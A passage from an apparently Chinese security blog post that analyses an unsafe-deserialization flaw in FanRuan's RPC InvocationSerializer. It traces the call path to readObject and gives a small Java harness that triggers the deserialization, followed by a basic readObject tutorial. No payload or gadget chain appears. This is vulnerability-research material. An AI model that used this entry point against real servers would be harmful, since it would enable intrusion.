rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-imgfileid="100002038" class="rich_pages wxw-img" data-ratio="0.3285917496443812" data-type="png" data-w="703" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=bd2f1ec9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD58v366W7bICVBKa7IzibCC0tUKUSMFCDbMEkP1uruG5ycH7N5ROoGPmA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">传递到</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">WorkspaceServerInvoker</span></code><span leaf="">的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">handleMessage</span></code><span leaf="">方法</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-imgfileid="100002046" class="rich_pages wxw-img" data-ratio="0.5477338476374156" data-type="png" data-w="1037" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=fe1a72f9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD5icfJgZekzp2qOKBhNfqb3GPCdH8gHerjUrSAPMCiaw6LQBA6wZh0NhvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">然后继续调用</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">this.deserializeInvocation</span></code><span leaf="">方法</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-imgfileid="100002047" class="rich_pages wxw-img" data-ratio="0.22314814814814815" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=d99826c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD5SIIAl0p0jicO3V6GLtnHuaPzIaCNg0LuMGNWqseeeLsQujSxSUkaqSw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">SerializerHelper</span></code><span leaf="">的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">deserialize</span></code><span leaf="">方法</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100002043" data-ratio="0.26588845654993515" title="null" data-type="png" data-w="771" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" src="https://wechat2rss.xlab.app/img-proxy/?k=55d83a9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD5TqmPWicyWpNzGKlHQpEeAgJ4NzicDtBm8vEcYib1zFMibCu4BH8N8P7AfQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">然后进入</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">InvocationSerializer</span></code><span leaf="">的</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">deserialize</span></code><span leaf="">方法</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-imgfileid="100002044" class="rich_pages wxw-img" data-ratio="0.19814814814814816" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=dec2c67b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD51LnE3TlJ2o4KianbEN8IqQTYNmBBbuWVeqcSerBA9BRORjOBC3mfV8g%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">然后在这里就触发了readObject方法</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-imgfileid="100002045" class="rich_pages wxw-img" data-ratio="0.513265306122449" data-type="png" data-w="980" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=ec57a49c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD5S61iaSEQgYj3ShApRrLo4JaMkQMjOA8ToxfXZ0nNibY10yxYRxH2zKlw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">为了方便测试漏洞，我们可以直接写一个class来进行触发</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf=""><span class="code-snippet__keyword">package</span><span class="code-snippet__plaintext"> Main;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> com.fr.rpc.serialization.InvocationSerializer;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.io.File;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.io.FileInputStream;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">class</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">Main</span><span class="code-snippet__plaintext"> {</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    </span><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">static</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">void</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">throws</span><span class="code-snippet__plaintext"> Exception {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__type">File</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__variable">file</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__operator">=</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">File</span><span class="code-snippet__plaintext">(</span><span class="code-snippet__string">&#34;./test.bin&#34;</span><span class="code-snippet__plaintext">);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__type">FileInputStream</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__variable">fileInputStream</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__operator">=</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">FileInputStream</span><span class="code-snippet__plaintext">(file);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__type">InvocationSerializer</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__variable">invocationSerializer</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__operator">=</span><span class="code-snippet__plaintext"> InvocationSerializer.getDefault();</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        invocationSerializer.deserialize(fileInputStream);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">}</span></span></code></pre></section><h3 style="box-sizing: border-box;margin: 40px 10px 20px;padding: 0px;font-weight: bold;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 19.2px;"><span leaf="">Java反序列化</span></h3><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">首先我们学习一下Java反序列化的知识</span></p><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">User.java</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf=""><span class="code-snippet__keyword">package</span><span class="code-snippet__plaintext"> Main;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.io.Serializable;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">class</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">User</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">implements</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">Serializable</span><span class="code-snippet__plaintext"> {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    </span><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__type">int</span><span class="code-snippet__plaintext"> age;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    </span><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> String name;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    </span><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">User</span><span class="code-snippet__params"><span class="code-snippet__plaintext">(</span></span><span class="code-snippet__params"><span class="code-snippet__type">int</span></span><span class="code-snippet__params"><span class="code-snippet__plaintext"> age, String name)</span></span><span class="code-snippet__plaintext"> {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__built_in">this</span><span class="code-snippet__plaintext">.age = age;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__built_in">this</span><span class="code-snippet__plaintext">.name = name;</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    </span><span class="code-snippet__keyword">private</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">void</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">readObject</span><span class="code-snippet__params">(java.io.ObjectInputStream stream)</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">throws</span><span class="code-snippet__plaintext"> Exception {</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        stream.defaultReadObject();</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        System.out.println(</span><span class="code-snippet__string">&#34;User readObject&#34;</span><span class="code-snippet__plaintext">);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">}</span></span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">Main.java</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span leaf=""><span class="code-snippet__keyword">package</span><span class="code-snippet__plaintext"> Main;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> com.fr.rpc.serialization.InvocationSerializer;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.io.*;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.util.HashMap;</span></span></code><code><span leaf=""><span class="code-snippet__keyword">import</span><span class="code-snippet__plaintext"> java.util.Objects;</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">class</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">Main</span><span class="code-snippet__plaintext"> {</span></span></code><code><span leaf=""><br/></span></code><code><span leaf=""><span class="code-snippet__plaintext">    </span><span class="code-snippet__keyword">public</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">static</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">void</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">main</span><span class="code-snippet__params">(String[] args)</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">throws</span><span class="code-snippet__plaintext"> Exception {        </span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__type">User</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__variable">user</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__operator">=</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">User</span><span class="code-snippet__plaintext">(</span><span class="code-snippet__number">18</span><span class="code-snippet__plaintext">, </span><span class="code-snippet__string">&#34;mbx&#34;</span><span class="code-snippet__plaintext">);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__type">FileOutputStream</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__variable">fileOutputStream</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__operator">=</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">FileOutputStream</span><span class="code-snippet__plaintext">(</span><span class="code-snippet__string">&#34;./test.bin&#34;</span><span class="code-snippet__plaintext">);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__type">ObjectOutputStream</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__variable">objectOutputStream</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__operator">=</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__keyword">new</span><span class="code-snippet__plaintext"> </span><span class="code-snippet__title">ObjectOutputStream</span><span class="code-snippet__plaintext">(fileOutputStream);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        objectOutputStream.writeObject(user);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        objectOutputStream.close();</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        </span><span class="code-snippet__comment">//</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        FileInputStream fileIn = new FileInputStream(&#34;./test.bin&#34;);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        ObjectInputStream in = new ObjectInputStream(fileIn);</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">        File file = (File) in.readObject();</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">    }</span></span></code><code><span leaf=""><span class="code-snippet__plaintext">}</span></span></code></pre></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">执行以后，readobject方法成功执行</span></p><section style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;" nodeleaf=""><img data-imgfileid="100002049" class="rich_pages wxw-img" data-ratio="0.20555555555555555" data-type="png" data-w="1080" style="box-sizing: border-box;margin: 20px auto;padding: 0px;text-align: left;color: rgb(63, 63, 63);line-height: 1.5;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 16px;border-radius: 4px;display: block;width: 355px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=3258b928&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FnoZJ3Kqbu1cfhVzXXAr9FibQhP6DWjLD50tXTjJFBqypwPou69kQYyGSb1M9P5KAibvflF2WaW7ibaoQrsY06Snqg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></section><p style="box-sizing: border-box;margin: 10px;padding: 0px;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;text-align: left;color: rgb(63, 63, 63);line-height: 1.6;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;"><span leaf="">比较容易出反序列化漏洞的就是重写了</span><code style="box-sizing: border-box;margin: 0px;padding: 3px 5px;text-align: left;color: rgb(255, 53, 2);line-height: 1.5;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;font-size: 14.4px;background: rgb(248, 245, 236);border-radius: 2px;"><span leaf="">readObject</span></code><span leaf="">方法，还有就是</span><code 